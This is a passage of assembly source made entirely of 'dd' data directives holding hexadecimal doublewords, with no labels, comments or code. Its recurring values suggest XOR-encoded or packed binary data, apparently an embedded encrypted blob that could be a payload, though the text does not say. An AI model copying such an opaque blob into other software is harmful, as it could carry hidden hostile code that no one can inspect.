0EA9F43C8h, 1568CBE2h dd 0C61E1132h, 6E30AA01h, 7C9D3A21h, 0FA299339h, 0E66294BBh dd 1A8F8033h, 2C664432h, 0EEEBB778h, 2A9518A4h, 91958825h dd 0D39F7B8Ah, 0EF6047B7h, 1A065635h, 1A075985h, 156648B7h dd 13E12D32h, 1A661132h, 156688B2h, 9BCA2C32h, 9B69CDB5h dd 15661133h, 156961CAh, 3B044432h, 0C1F77808h, 401524E5h dd 2D6058A6h, 0B0D3BB5Dh, 7561D83Ah, 156618DAh, 0EAE3CA32h dd 95BE470Dh, 0AB001B0Fh, 1A3EA3B7h, 15668ABCh, 743D1632h dd 1572AA3Dh, 1A8F1132h, 4A668832h, 279C948Ah, 2C3E7963h dd 6991E07Ah, 90EB0F31h, 129C7ED0h, 1AB6DDCEh, 156610B7h dd 90EF7132h, 1D67B73Ah, 70E3E4CAh, 5261EB34h, 156685DBh dd 22AF8C32h, 3831483Ch, 79BF4762h, 0C70E46D6h, 0E9B2DE95h dd 1DC397CDh, 730616C8h, 0AA5F418Dh, 12C37EC8h, 0F7E3AF53h dd 0ED61EB08h, 0FD0658CDh, 1566443Ch, 934B67D1h, 0BC1EBED3h dd 8F572A1h, 0AA00969Ch, 733CADA9h, 9C07C2B9h, 149584B7h dd 90A0B83Ah, 129C2457h, 156DF875h, 73928832h, 232F3CFDh dd 0DF3E9416h, 940071AEh, 74A29CF2h, 0D45F405Ah, 0FE52D88h dd 75661132h, 48FD061h, 0F664432h, 12426F0Eh, 8F7CCBA6h dd 3685A73Bh, 7A52F35Ah, 0B0D3DD53h, 7561EB3Ah, 156685DBh dd 0AFE98332h, 44536F4Dh, 81F0ADA6h, 0AD003569h, 980721D2h dd 0EF5CC0B7h, 0C599E435h, 156698DBh, 2BFECD32h, 0D2D51A88h dd 75CEA402h, 0FF053E83h, 5E3CD8Bh, 0E96E23C1h, 347FACB1h dd 1A668FC8h, 1566DCB7h, 13ED2D32h, 75661132h, 0E5EDE952h dd 90A0BC53h, 129C2457h, 720EE975h, 1A86FA1Fh, 156645B2h dd 0A099DB32h, 129C1997h, 0F7E305CBh, 7561BE08h, 1565A63Dh dd 0A2691132h, 1E8FE9FAh, 40664432h, 5C17E64Bh, 1624D31Fh dd 0C5999E9Fh, 198F2452h, 96662232h, 53C36D73h, 84F64EB0h dd 0AFE2A080h, 75593919h, 156FF953h, 0D85E8832h, 629DC84Bh dd 1AF9A03Bh, 743DE88Dh, 0E6720DBBh, 9D694C33h, 15662227h dd 188FE452h, 0CA668832h, 3000FE36h, 0F44A2ED4h, 0E68F3027h dd 70E34E53h, 5261BE34h, 156627DBh, 0F7A96132h, 0A40E1D62h dd 0FCE86D81h, 15662226h, 205AB3DAh, 0A58FFF8h, 0B6FC70B6h dd 0D7B1F9B5h, 5FD1DFE6h, 1DC33DCDh, 9C6943C8h, 15662239h dd 156617DBh, 55149A32h, 98A7595Eh, 0EF5CC0B7h, 14E81E35h dd 0E9668832h, 1B8F94CDh, 78662232h, 8494A569h, 12D0F58Eh dd 41D99874h, 0DE3ABE9h, 756E10C1h, 0BCC5FB3h, 9400640Dh dd 7430DED5h, 130394F4h, 0EC258FC8h, 632CE35Ah, 9E0042F2h dd 740643EBh, 0A099E96Dh, 129C4C97h, 0F7E3AFCBh, 1A61EB08h dd 156692B0h, 1EA4B32h, 0FC662232h, 1566113Dh, 4925B4E2h dd 0C201F7EAh, 9DCAE69Ch, 0EAFA79B0h, 32E287E2h, 75664432h dd 15662BDAh, 6CB78F32h, 975ECB4Ah, 0FD3F6F0Ah, 15662222h dd 60CBA13Fh, 55A3F2A8h, 1676158Bh, 951B6C49h, 90EF7068h dd 1D677B2Eh, 5B24FE52h, 1C8F6985h, 10661132h, 0C28C7172h dd 2322A649h, 1574CB53h, 0C7FE1132h, 72A3334Bh, 48D228BBh dd 7623F340h, 63C4BBF1h, 13030DF4h, 0FC2A43C8h, 15662220h dd 0FA9EF2E4h, 4192849Ch, 40A49A0Ch, 76C5F41Fh, 0FE0EFCF3h dd 0E99DEE5Eh, 1073F1CDh, 966925C8h, 15661127h, 156698DBh dd 5788D032h, 2915E445h, 8CACFE26h, 0EDB0E8E5h, 0F7E3C95Ah dd 0EC61D808h, 9E06C1CDh, 9C0770EBh, 1495F4B7h, 0BE62D3Ah dd 1A661132h, 156690BEh, 1575AD32h, 0DBE42232h, 0EBA19067h dd 0BF1BC027h, 0C9CF56Eh, 0CA9F1DC7h, 70E3D7EDh, 51617234h dd 156CC73Dh, 0A7062232h, 15E81EFBh, 74668832h, 66E8115Ah dd 1560CB89h, 0CFCF1132h, 156128AFh, 1DC3F1CDh, 1A0625C8h dd 0AF00CA85h, 7507F1E1h, 1563CD3Dh, 94002232h, 0A42C23DAh dd 90EBE92Dh, 129C7ED0h, 75B6DDCEh, 1A9E9A54h, 15668BB4h dd 0C6D94B32h, 35E3AB53h, 1A6E10C1h, 156680BBh, 17EF4B32h dd 75662232h, 70E3D753h dd 56617234h, 1569AC52h, 28312232h, 70EC4944h, 240086C9h dd 0F86546A1h, 1576CADCh, 0A38B1132h, 0E7924A85h, 0C33381E3h dd 691ECEA9h, 4A3F3080h, 156699DAh, 0FCCB9832h, 61F1825h dd 0FD2FA346h, 1BB20A4Eh, 0D2ED36DBh, 9D69436Ah, 15661121h dd 156686DBh, 0ECE80232h, 1123CA0Ah, 56CB8F5Ah, 7D13B1EDh dd 0A9E82ACEh, 0B0D3DDC7h, 0E961EB3Ah, 2F840DBFh, 0FC0643C8h dd 15662234h, 5BD8C685h, 0CFED93B8h, 0E0B6BB53h, 0E642A7BBh dd 759A1933h, 94006AB8h, 74EF97D5h, 1303A7F4h, 1A3516C8h dd 156685B9h, 156EAD32h, 84292232h, 4CB35E45h, 0BF0EE785h dd 75A0540Ch, 43F1D0B3h, 0A2692DABh, 0A099E9C5h, 129C4C97h dd 0F7E3AFCBh, 1A61EB08h, 156685BEh, 156EAD32h, 2CD12232h dd 5DC1A7EFh, 0C599A62Dh, 17E84B52h, 9E662232h, 1931A9C5h dd 9C07809Eh, 14956CB7h, 1575CB3Ah, 1D011132h, 0E57A0B96h dd 0C08EECBFh, 29E01CFEh, 704F048Bh, 80DB0BAAh, 1561BE3Dh dd 16BAA63Dh, 73061132h, 0E0F6FB3h, 15664DDBh, 0DFBAA132h dd 0A9CD055Ah, 0D307626Dh, 0EF6021B7h, 198F6435h, 49661132h dd 0EBF6E5EEh, 0EFD2279Ah, 7D5B153Ch, 0EFF0DF03h, 0B0D377CAh dd 0ED61BE3Ah, 2F84A7BFh, 1A8F16C8h, 3668832h, 4AE810F6h dd 3EF52AFEh, 0FF3CBC8Dh, 0C599BEF8h, 16E64B52h, 73662232h dd 9E00E1B9h, 90EFE9C8h, 1D67B7B6h, 70E3E4CAh, 5361EB34h dd 156687DBh, 27880032h, 0DAA7178Fh, 25FB3B9Fh, 814D9D9h dd 0B25C925Ah, 156BCBCEh, 19401132h, 0EF2A93DEh, 6C28FB44h dd 0EA7D857Dh, 0EF6EB487h, 19E98735h, 1A664432h, 156624B3h dd 15EA1E32h, 98668832h, 0EF5CA6B7h, 0C599DE35h, 81E398CBh dd 1A6E89C1h, 156645B4h, 90A0DE32h, 129C1757h, 2E28774h dd 0FC664432h, 15662220h, 48C34CCBh, 772C9C8Bh, 843C7E1Ch dd 6653F5E6h, 150E8567h, 0EDF47496h, 1DC3F1CDh, 430625C8h dd 0A6DAD0B3h, 743FA316h, 2F84C1BFh, 68F25C8h, 0F2661132h dd 57E064BBh, 0B576FC2Dh, 301AE3C2h, 0F3934726h, 0C5998D2Eh dd 156655DBh, 0B2DD9132h, 0C010445h, 82D61F6Ah, 0AAB5E0EAh dd 1E8F51F7h, 0F3661132h, 67BC742Dh, 3EFA5AAh, 90EF539Bh dd 1D67E2AAh, 1572033Dh, 1A8F4432h, 0DB662232h, 0C825DADFh dd 0F382CCFAh, 8964865Fh, 90A0C082h, 129C1757h, 156D6174h dd 0A5C04432h, 6A1342BEh, 727EABACh, 5A0CE090h, 0EA9EB2E6h dd 0EF6E8787h, 9A697135h, 15668830h, 0D4ED97B8h, 0F7E3AF53h dd 0FC61EB08h, 1566883Eh, 15926C59h, 0D3D4E9C4h, 25996172h dd 15460A3Dh, 0FC064432h, 15662226h, 0E27B233Ch, 9075308Ah dd 0D5A9FA54h, 9E009A87h, 7FC992D7h, 371EFF8Ah, 0C5992559h dd 156632DBh, 5EC56F32h, 1627E8AAh, 6FDFCF88h, 0A2BA1C50h dd 89E3982Ah, 0FC6E89C1h, 1566443Ah, 2365FFC6h, 0F952D71Ch dd 13030DF4h, 752043C8h, 15EA2D64h, 4B661132h, 15669BDBh dd 159C0A32h, 889DE08Eh, 478BCEA5h, 8C0E6DFCh, 48821597h dd 45814A53h, 940685FFh, 4064B6D4h, 749ECF28h, 1DC397CDh dd 0E90616C8h, 0F7E30553h, 7561BE08h, 717ECBB3h, 0AA693F38h dd 0C599E9E8h, 156656DBh, 0EAD4B832h, 0FBC17DF0h, 8B556701h dd 8C82A34h, 9C1DE669h, 149599B7h, 1A8FE83Ah, 0D7664432h dd 77017A7Bh, 80A1EFDBh, 79E629CAh, 9469FE6Fh, 15662232h dd 1574F853h, 0F91F8832h, 3D0A1964h, 0F840C94Dh, 5EDCD2C1h dd 899894E3h, 1303C1F4h, 1A2025C8h, 156607B3h, 15776132h dd 4EC4432h, 78355BC8h, 0ECCAD2BFh, 0E3BEA10Ch, 7DC8DDA1h dd 0A4445609h, 99694152h, 15668832h, 1572AD68h, 1B0C2232h dd 2F037215h, 0C3D4B39Dh, 51304168h, 0C4E208E8h, 0EA070455h dd 0EF6E2D87h, 156EAD35h, 0F0252232h, 6BCA43B9h, 989A0AECh dd 0EF5CA6B7h, 5E52D35h, 0FC661132h, 15668839h, 16EDD0B4h dd 0A2A53C36h, 0E033119Bh, 1A0658CDh, 156642B7h, 15EB2D32h dd 95661132h, 0FC0745F3h, 15664421h, 4A2BFB9Bh, 80C3B4C7h dd 944CD16Ch, 0A983DEFCh, 9C38D343h, 14959DB7h, 0DED7E83Ah dd 90A025CEh, 129C2457h, 14E31E74h, 0E0668832h, 6C8CA95Ah dd 156ECBEDh, 0EF41132h, 2936FB88h, 0A099C9F1h, 129C2A97h dd 157F943Dh, 97698832h, 15664421h, 15662CDBh, 27675932h dd 2A989974h, 0E35E437Ah, 9818D501h, 0EF5CF3B7h, 48EE835h dd 30664432h, 0A9611E46h, 317373A9h, 27DD883Dh, 0F276F11Ah dd 74387A65h, 20D77152h, 17E28753h, 46664432h, 0C5994369h dd 1567963Dh, 9C938832h, 1495D4B7h, 0A8E5D73Ah, 129C302Bh dd 99E38732h, 0FC664432h, 1566223Dh, 0D2E613CCh, 0D0198AC5h dd 75AD4801h, 0D380E888h, 0EF6074B7h, 7D93DB35h, 0DBD8A46Ch dd 156FCA52h, 4D951132h, 2D9D7753h, 730801B8h, 0E235E1B3h dd 98AB9169h, 0B0D37753h, 0FC61BE3Ah, 15662223h, 5C1C075Ah dd 27276912h, 0D5C7FCB4h, 0D55B33E5h, 90EBE961h, 129CB2D0h dd 1AB6BBC7h, 15662EB6h, 1561F832h, 49708832h, 0F63524Fh dd 39E3AB09h, 0FC6E10C1h, 1566883Dh, 877A81BCh, 55F807FCh dd 0E6BFC6EAh, 0D3131EBDh, 0EF6021B7h, 7D9F6535h, 0D2D74FB5h dd 1567023Dh, 0EA9E4432h, 0EF6E8787h, 0CEE77135h, 26481533h dd 9807AC81h, 0EF5CC0B7h, 0DAED7135h, 61E9368Ah, 0C5992526h dd 15662FDBh, 0FFD0532h, 3162B9C3h, 0F14B872Eh, 90EF141Bh dd 1D67E202h, 0CDB0BCBh, 1561BE13h, 151EA73Dh, 9E691132h dd 15668822h, 15664FDBh, 0CC85CF32h, 0E5199645h, 0DCAB80E4h dd 1303C1F4h, 752125C8h, 0CEE77761h, 1A3DC638h, 7D07BF85h dd 0F3045C37h, 0B0D3EECEh, 7561723Ah, 95695187h, 15662230h dd 98074962h, 0EF5C6AB7h, 0C599B835h, 156628DBh, 0BC493E32h dd 0A039855Ah, 9C656A8Fh, 149516B7h, 1575F83Ah, 53F18832h dd 4BF2EF5Eh, 0D2C25E38h, 8A1A8219h, 3B3BF031h, 90A0B8D1h dd 129C2457h, 1E8E7171h, 0B1668832h, 7E1C6CF3h, 55FF23Fh dd 0AA69DAC9h, 0E4ECD1F8h, 1C902C53h, 68FB048h, 0D661132h dd 8519EFB9h, 7E134002h, 1479C3E4h, 0DDDF486Dh, 0A099C5B2h dd 129C4C97h, 156DA93Dh, 138F1132h, 45668832h, 1C17C0F8h dd 0F7E3AF06h, 0FC61EB08h, 1566883Bh, 48783289h, 38E22496h dd 0FCB6EEBDh, 15668822h, 841E8319h, 79054258h, 71B36184h dd 3DA99E95h, 0E65EC1BBh, 0D3932A33h, 0EF6074B7h, 759ACB35h dd 0EFD822C7h, 350E43C1h, 0FC9A30A5h, 15668839h, 0BFB5E58Fh dd 98DCD760h, 0FC1568E8h, 1566883Eh, 0C8593DECh, 5BD78A5Eh dd 0CAD86729h, 1DC33DCDh, 9C6943C8h, 15662239h, 156617DBh dd 0FC6CA532h, 0FCCA5BA4h, 1566223Bh, 77B29794h, 8C958BFAh dd 0F7E3C97Ch, 7561D808h, 3FBF9054h, 17E28735h, 42664432h dd 0C5994369h, 29E398C7h, 756E89C1h, 74B6CF54h, 73949252h dd 0DCEDC6B3h, 0CDB0B53h, 1561BE13h, 1426A73Dh, 0D3931132h dd 0EF60EDB7h, 93690735h, 15662226h, 1568983Dh, 1C8F8832h dd 0C0664432h, 6B8AE332h, 0CD44C42Ch, 15CE8B5Ah, 1D8F24B9h dd 30662232h, 0C5057563h, 0AC1B620Dh, 72DC451Ah, 156ACB53h dd 34E51132h, 42E1D77Dh, 203F7732h, 0A09993F7h, 129C1997h dd 156686DBh, 4A561532h, 7DDAA48Ch, 0A57D9134h, 1A730B59h dd 15664FBAh, 0AA694232h, 2B990CDh, 740B1D4Eh, 2F84C1BFh dd 9D6925C8h, 15661123h dd 156684DBh, 0C68C5932h, 0C3449197h, 191E8D78h, 0FCB6772Ch dd 15664421h, 0F484A4BEh, 9AC386C1h, 0DA41D29Ah, 578FBA01h dd 9CC3146Ah, 149555B7h, 90A0743Ah, 129C4257h, 4EA2D71h dd 75661132h, 156680DBh, 779DBD32h, 8D794087h, 74077136h dd 4E505D5Ah, 0FC3124D7h, 1566223Bh, 71BC374Ch, 833FBA40h dd 0E2ED1D7Dh, 0B0D3DD53h, 0FC61EB3Ah, 15668820h, 0CC03649Fh dd 1D03FBA3h, 0DB8D5600h, 9782FEEh, 90EBBFEFh, 129C18D0h dd 1560F852h, 71108832h, 627147Ch, 68F43CAh, 35661132h dd 80791D1Eh, 0ACA2C532h, 79F99D7Fh, 5A0A3B40h, 0C5990EC2h dd 55E3CDCAh, 756E23C1h, 90A070CBh, 129C8E57h, 1569AD71h dd 4F422232h, 2A3AA9E9h, 0A85CEBB4h, 3730BF7Fh, 27874A69h dd 0EA93FB98h, 0EF6E2D87h, 0AA692435h, 0DEDE44FDh, 90EB70BEh dd 129CB2D0h, 0BDD92252h, 0C59943CCh, 12E31ECBh, 1A668832h dd 156645B7h, 90EFDA32h, 1D67E27Ah, 70E34EC7h, 5661BE34h dd 0B9514AC7h, 956995C3h, 15668825h, 156656DBh, 0DBF33732h dd 80E8FB14h, 3425A7DBh, 0B0FB0BDh, 1A086F9Ch, 156619B6h dd 17E38732h, 75664432h, 0B0D3DD53h, 0EC61EB3Ah, 0F7E305CAh dd 7561BE08h, 34309889h, 1563F94Eh, 25F08832h, 7561ACD8h dd 0EA077B53h, 90EFE4E2h, 1D677B7Eh, 70E382CBh, 5A61D834h dd 156602DBh, 43DC5C32h, 0DBCD3A71h, 776CBEAEh, 5D7435Ch dd 6656FD91h, 20F6905Ah, 0CEDF42A5h, 0FC143624h, 15668837h dd 73FD441Dh, 0A0994356h, 129C1997h, 0F7E305CBh, 7561BE08h dd 1562A63Dh, 0AB001132h, 0FBDEC477h, 744F2BE7h, 1D8FF2CDh dd 14661132h, 53714D19h, 9C0531DEh, 149572B7h, 90A0E43Ah dd 129C8E57h, 8E34B7Dh, 75662232h, 156602DBh, 0F7C45632h dd 0A849C757h, 85B64CA2h, 2DFBB389h, 6866497Eh, 74ADFB3Dh dd 7B68205Ah, 0CCED71CBh, 0DA860954h, 0A0992509h, 129C2A97h dd 1576F952h, 31748832h, 47ECFB60h, 3BB507A7h, 0F635168Bh dd 1A38B615h, 98078E8Dh, 0EF5CC0B7h, 0C599E835h, 41E301CAh dd 756E45C1h, 1A8EEB81h, 94661132h, 0B82E6DDCh, 0A3A54BCFh dd 9B55FD0Fh, 68FC18Eh, 15668832h, 16FA2762h, 0F0058555h dd 6024A5D9h, 5EDD1F6Bh, 743E86C2h, 1303A7F4h, 0FC2B16C8h dd 15668821h, 0E715B8B4h, 0DBBDA2F4h, 4E25D8FEh, 27B9BE80h dd 7D424276h, 0DD515B7Bh, 0B0D3EECEh, 0FC61723Ah, 15664422h dd 0E8940ABBh, 915D18DCh, 12BE98F2h, 0A1B0803Ah, 2F84A7BFh dd 9A6916C8h, 15668833h, 1AB6BBCAh, 156623B3h, 90EFE432h dd 1D677B6Eh, 1576C83Dh, 0FC062232h, 15661135h, 6F7B8F21h dd 436CF33Ch, 7306436Bh, 0FE80D2B3h, 15669CDBh, 0F99FE32h dd 0E6C9807Fh, 0D1BD17B7h, 371787C9h, 101AE52Eh, 90A0432Ah dd 129C1757h, 1A31E87Fh, 156644B3h, 1F8E7C32h, 8C661132h dd 0BBB2EA1Ah, 0C62C03D9h, 4FB3A8B7h, 58EF7953h, 9A6954C5h dd 15664425h, 156630DBh, 0E8FFC132h, 0B76C54F1h, 32335824h dd 0F3F57702h, 0EA02B6E0h, 0EF6E2D87h, 1EE54B35h, 0FC662232h dd 15661134h, 0CB267CDAh, 90EB7F1Eh, 129C18D0h, 15661EDBh dd 9FC33032h, 9AE21C12h, 5B8015A3h, 0C51C8670h, 996958CDh dd 15664433h, 4DE3ABCBh, 0EC6E10C1h, 13030DF4h, 1A3343C8h dd 15662EBAh, 13E91E32h, 1A668832h, 156644B5h, 38514A32h dd 92698D29h, 1566882Bh, 156650DBh, 0E5DE432h, 0DEC5EF9Fh dd 6DE97DDBh, 2D36EBBBh, 9F7A3F3Bh, 0B0D3EE03h, 1A61723Ah dd 156656B3h, 19EA2D32h, 0FC661132h, 15668835h, 7DD03095h dd 98157542h, 0EF5CF3B7h, 18E58735h, 0FC664432h, 1566223Ah dd 0A484A7ACh, 9AB754B2h, 730694CDh, 0D672F2B3h, 1EFDAE54h dd 90EF7453h, 1D67B752h, 1571AE3Dh, 78F1132h, 30668832h dd 0FA28869h, 33F9056h, 41E564Bh, 578C8A8Ah, 70E382A9h dd 5661D834h, 15679E3Dh, 0FC938832h, 15664420h, 33192FBAh dd 209F04FBh, 6E25457h, 9D0450E3h, 3F0E97DAh, 75B4C4C2h dd 15669BDBh, 2A12432h, 0AC01576Ah, 1B4E046Ch, 730806C7h dd 0CBBF0CA3h, 1DED2D53h, 1A661132h, 15668AB5h, 0EA072432h dd 0EF6E8787h, 6EB1E35h, 75668832h, 15664EDBh, 42187532h dd 0B02D5FD3h, 46347809h, 90EB256Ch, 129C18D0h, 1576923Dh dd 75068832h, 1560AC53h, 7EB32232h, 8AB45F44h, 0EA9AE969h dd 12E24BE2h, 1A662232h, 156610B2h, 90EF7D32h, 1D67B756h dd 156631DBh, 19C332h, 0B2A953EDh, 0E3B4EBA9h, 959FA4C7h dd 0CFE2B66h, 13030DF4h, 0E03443C8h, 57D2C85Ah, 0A099E8CFh dd 129C8097h, 0F7E3C9CEh, 0FC61D808h, 1566113Ah, 7A6059C7h dd 82FE6C4Dh, 9C9EF2CDh, 0EF7E7CB7h, 0CCE6E835h, 1AE84B14h dd 0FD662232h, 1566113Bh, 1AE39A40h, 6CCF2A69h, 0D30779D2h dd 0EF6074B7h, 7D9ECF35h, 0F7FE1DABh, 1562A83Dh, 0A0061132h dd 1F8FE9EDh, 4B664432h, 0C40C9A1Bh, 11350B1Fh, 0B0D3775Ch dd 0FC61BE3Ah, 15662234h, 2875810Ah, 90EB9268h, 129C7ED0h dd 75B6DDCBh, 0A269E1B9h, 90EFE9FDh, 1D67B75Ah, 156EA53Dh dd 93691132h, 15668830h, 90A02552h, 129C2457h, 138F7175h dd 46668832h, 0C6E43137h, 0E7ED44AFh, 75A47953h, 0FC0639CFh dd 15664437h, 0AAC95C6Dh, 1569F933h, 3FC68832h, 83EAB80h dd 398A8DE7h, 2D7671F3h, 1560617Bh, 94834432h, 30092EC5h dd 0A099706Ch, 129C8097h, 15664DDBh, 60A4C32h, 8C813FABh dd 90EB64B8h, 129C7ED0h, 156624DBh, 87E65632h, 0EAD68418h dd 2E34BE2h, 0FC662232h, 15661120h, 722A9E20h, 299B4C54h dd 0CF469ECCh, 0D4AB616Ch, 90EFEF85h, 1D67B75Eh, 1567A43Dh dd 1A931132h, 156680B6h, 17EB4B32h, 75662232h, 70E3D753h dd 52617234h, 0EB722CCEh, 9469FD94h, 15661133h, 0B0D377CEh dd 0FC61BE3Ah, 15662226h, 0DCD1F2D1h, 7C8CFBC6h, 0F77AB1D6h dd 0E481347Dh, 6C87F946h, 2F840DBFh, 108F43C8h, 42662232h dd 9BE4AFF1h, 15756152h, 7E1D4432h, 5BC8239Eh, 8132EB08h dd 1BBED903h, 94199A17h, 156DCBFBh, 654F1132h, 0B88C879Ch dd 5224DA25h, 0C5994349h, 74064152h, 17E8876Ch, 75664432h dd 1A8F4353h, 20661132h, 5F433AEAh, 0F9A43B3Bh, 0D2ADA343h dd 90EF946Ah, 1D677B42h, 156650DBh, 0B6ABC832h, 163EA4D2h dd 391802F1h, 2F619EE9h, 0FBBDC27Bh, 70E3D7EDh, 4A617234h dd 15664CDBh, 61903132h, 4B3A98C5h, 0E70EE070h, 58FDA62h dd 0B6662232h, 61378414h, 7DE1D2BAh, 0AA68B619h, 75BE87A4h dd 8ABFC3B3h, 74938720h, 1DC3F1CDh, 940625C8h, 0BA29FCE3h dd 74943E2Ch, 2F84C1BFh, 1A0625C8h, 156613BAh, 1A07E832h dd 156647B0h, 0EAD92D32h, 11EC1E53h, 75668832h, 0EA07B3B9h dd 9E06DAE2h, 90EF70CCh, 1D677B46h, 0FCD4F652h, 15662223h dd 2EE0D62Bh, 14B273E9h, 53BA5B34h, 0BCE85499h, 90A070EBh dd 129C8E57h, 1CE04B7Dh, 75662232h, 15E91EC7h, 74668832h dd 0E91D7B5Ah, 6D642F5h, 0C4A6018Dh, 0A099E94Ch, 129C4C97h dd 0E007DA52h, 2F8494BFh, 94068FC8h, 4B5B83C2h, 17E72D12h dd 9E661132h, 0C599E9F8h, 15664BDBh, 1BD10032h, 69AB7D8h dd 2909C5DBh, 573A29C2h, 15662EDBh, 30F66B32h, 8273AFD2h dd 24307CD5h, 0B5E3ABD1h, 756E10C1h, 15E98752h, 1A664432h dd 156622B5h, 0D7E77032h dd 43F5DFA9h, 70E38253h, 5261D834h, 1A7CA252h, 15668EBCh dd 15E14B32h, 74662232h, 7B2A79CAh, 0EA937269h, 0EF6EE187h dd 1561CB35h, 0C8AA1132h, 5D812F99h, 0F7E3C9EDh, 0FC61D808h dd 15661121h, 0D7AB2B9Ah, 4A89CB10h, 99E8E155h, 5482D4D4h dd 0EAF4116Dh, 996924E2h, 15662237h, 7FBE9989h, 0FC890871h dd 0B1E3CD53h, 1A6E23C1h, 15661BB9h, 9269E832h, 15664432h dd 0D3077960h, 0EF6074B7h, 0FC9ACF35h, 1566443Dh, 0E79B0C7Dh dd 61360A52h, 0B43B158Bh, 7DAC93C1h, 0D66006FFh, 0A099E9CAh dd 129C8097h, 1568CC3Dh, 1C8F2232h, 6B661132h, 67025214h dd 5AF01D00h, 2F84A7BFh, 1D8F16C8h, 9E668832h, 446CA192h dd 0EA9AD9B1h, 78E71E2h, 32668832h, 91AE69Ah, 0D017C89h dd 31B434B8h, 0C1D55F20h, 15EA4B4Bh, 4E662232h, 742DFDB2h dd 0E6CE0DBBh, 97694C33h, 15662222h, 15661ADBh, 4CA79F32h dd 98249849h, 7C9C8340h, 130394F4h, 0FC398FC8h, 15664434h dd 3E01550Bh, 0D90E6241h, 1AB23352h, 156645BBh, 0A099DB32h dd 129C1997h, 0F7E305CBh, 1A61BE08h, 156628B6h, 74067132h dd 1566063Dh, 0EA074432h, 1560CBE2h, 0A1101132h, 0FED8E2DDh dd 0E61EC1BBh, 198F2A33h, 0E5661132h, 0CB414BBCh, 0B155B9FBh dd 0D3CAC83Eh, 0EF6074B7h, 9569D735h, 15664433h, 41284ACAh dd 92698FDBh, 15668820h, 237CFE52h, 108E00B0h, 34661132h dd 0B4EB037Ch, 9D692569h, 15662226h, 2ADF7752h, 156F6134h dd 8FBC4432h, 0A353227Bh, 74D159FDh, 1DC33DCDh, 989F43C8h dd 0EF5CC0B7h, 14EB1E35h, 0E9668832h, 0F3B6FE52h, 0EA073090h dd 0A26971E2h, 3A8809C8h, 7454969Ch, 0E61AA7BBh, 9B691933h dd 15668833h, 70E382CAh, 4A61D834h, 3D2E79CAh, 188F5921h dd 40664432h, 18A61529h, 6F391D75h, 255103FAh, 156ECC3Dh dd 90692232h, 15661130h, 0A099E952h, 129C4C97h, 0F7E3AFC7h dd 1A61EB08h, 156689B9h, 0C599B832h, 0C2E74452h, 68E94A8h dd 0DA668832h, 0E4737522h, 123BB108h, 0D62BE445h, 0EC268DEh dd 9769CD76h, 15662232h, 90EF706Ah, 1D677BB2h, 10E14B52h dd 0AD662232h, 2727C2AEh, 1A62E253h, 156645B2h, 188FD732h dd 0D3661132h, 0E2C48D9Ch, 8C3CF6C5h, 9B52FA75h, 1576115Ah dd 7D937432h, 15665432h, 74B1A852h, 95691158h, 15668825h dd 156656DBh, 0D3474A32h, 861DC7C7h, 0DB65FDBEh, 32DF4A16h dd 0EAC86296h, 0EF6D94A7h, 15696135h, 1014432h, 7B458B9Ah dd 0E3F00F93h, 13FB70A3h, 90E3CD91h, 0ED61D825h, 156618DBh dd 7B5EC732h, 4A146FDAh, 90EB98B2h, 1D674CE7h, 15668FDBh dd 0C77E5B32h, 0ACC5D6CBh, 75B6EECBh, 7F070785h, 12E54B36h dd 1A662232h, 156610B4h, 150E7132h, 0ED664422h, 1546225Ah dd 0DEC1E32h, 75668832h, 15664FDBh, 2FEBB832h, 8CEDCB35h dd 35D1FC04h, 1566C43Dh, 7F072232h, 1560F832h, 5878832h dd 25018241h, 1EE3B7CDh, 9C9F16C8h, 0EF6161B7h, 156DAD35h dd 1A5B2232h, 0D5F17931h, 44F05B1Fh, 1577AD45h, 9CCB2232h dd 0CE485478h, 583A8E1Eh, 6F5E8F76h, 9C96E029h, 0EF6410B7h dd 73067435h, 24768CB3h, 2F345D8Bh, 550C7008h, 156681DBh dd 0A2E4F532h, 57C86F5Ch, 150EBF85h, 1A668822h, 15664BB8h dd 156CCB32h, 3D501132h, 0F09F6DABh, 8D50A2Bh, 1466225Ah dd 1563F832h, 59058832h, 7F8FC0B0h, 4E62D32h, 1A661132h dd 156683BFh, 1560AD32h, 44EE2232h, 8CB72FC3h, 1EE31DCDh dd 108F43C8h, 43662232h, 0DB827DEBh, 0B7B0DBBh, 128F43C8h dd 7A662232h, 0C8D3EEE9h, 0A0EDE1E8h, 129C621Fh, 1567AB3Dh dd 0E99F1132h, 3E315B9h, 9E6943C8h, 15662233h, 0ECD398CAh dd 1A617211h, 156645B7h, 88EFDB32h, 129C171Bh, 157F093Dh dd 18F4432h, 0BD662232h, 787FD388h, 0A08074D9h, 0AF286ABCh dd 6336AF1Ah, 9EBF5BE7h, 0EF700DAFh, 0AD36B835h, 15662232h dd 6A29FF37h, 38BE892Bh, 0C190BDCh, 1A3E2AB9h, 156606BCh dd 15746132h, 7C6C4432h, 0FD5543F6h, 9992D584h, 0DF466D6h dd 37F1BEFDh, 159FA1CEh, 2CBC953Dh, 75068832h, 3E82E78Ah dd 80709C31h, 0AF076E65h, 628EC68h, 0F3EF1253h, 1562E4B3h dd 0FBE71132h, 15668836h, 494270B5h, 0E04226BBh, 10869862h dd 15668836h, 1566401Fh, 3162A532h, 316A986Eh, 0E5D98752h dd 15664ADAh, 0DE372032h, 97B5C845h, 494864A3h, 75A86CE7h dd 75077D53h, 1561963Dh, 93698832h, 15664433h, 0ECA613CEh dd 2B94BBh, 9C698FC8h, 1566443Fh, 15662ADBh, 0D9117932h dd 92688212h, 118AC72Eh, 7D420EBBh, 1C0575A8h, 0F6AB096Fh dd 9405FD7Fh, 0EE0B9DDFh, 48889859h, 13E08752h, 1A664432h dd 156622B5h, 0D7ED7732h, 15766153h, 0DD7A4432h, 6A671D3Fh dd 46B03B8h, 15D1DC49h, 0FBE78E61h, 759479D9h, 35426531h dd 4E8D3765h, 0EB6724C0h, 14E02D6Dh, 0ED661132h, 1A062554h dd 15664BBFh, 156CCB32h, 66561132h, 0E9C3BAD4h, 1D5B4D2Ah dd 7490953Dh, 4776B337h, 616D8D7Ch, 51653E48h, 1E4B0216h dd 381C6B46h, 5B349890h, 15664ADBh, 88C02F32h, 0ECAE49A6h dd 4D111C10h, 0EAF078E7h, 21ED5A42h, 11A29216h, 92D9DFCEh dd 3C06CD0Dh, 61657DCCh, 0D3E73116h, 75EFB7B5h, 15664BDBh dd 8EE87A32h, 7270DED6h, 0ED9155F2h, 0A6298121h, 9E7E54CDh dd 0D1E7350Eh, 15668836h, 4195C552h, 1A40EEEEh, 156613B1h dd 7407E832h, 397FF9BBh, 1C8F25C8h, 0F9661132h, 0A9913991h dd 7CE51B59h, 0EAE34352h, 154D943Dh, 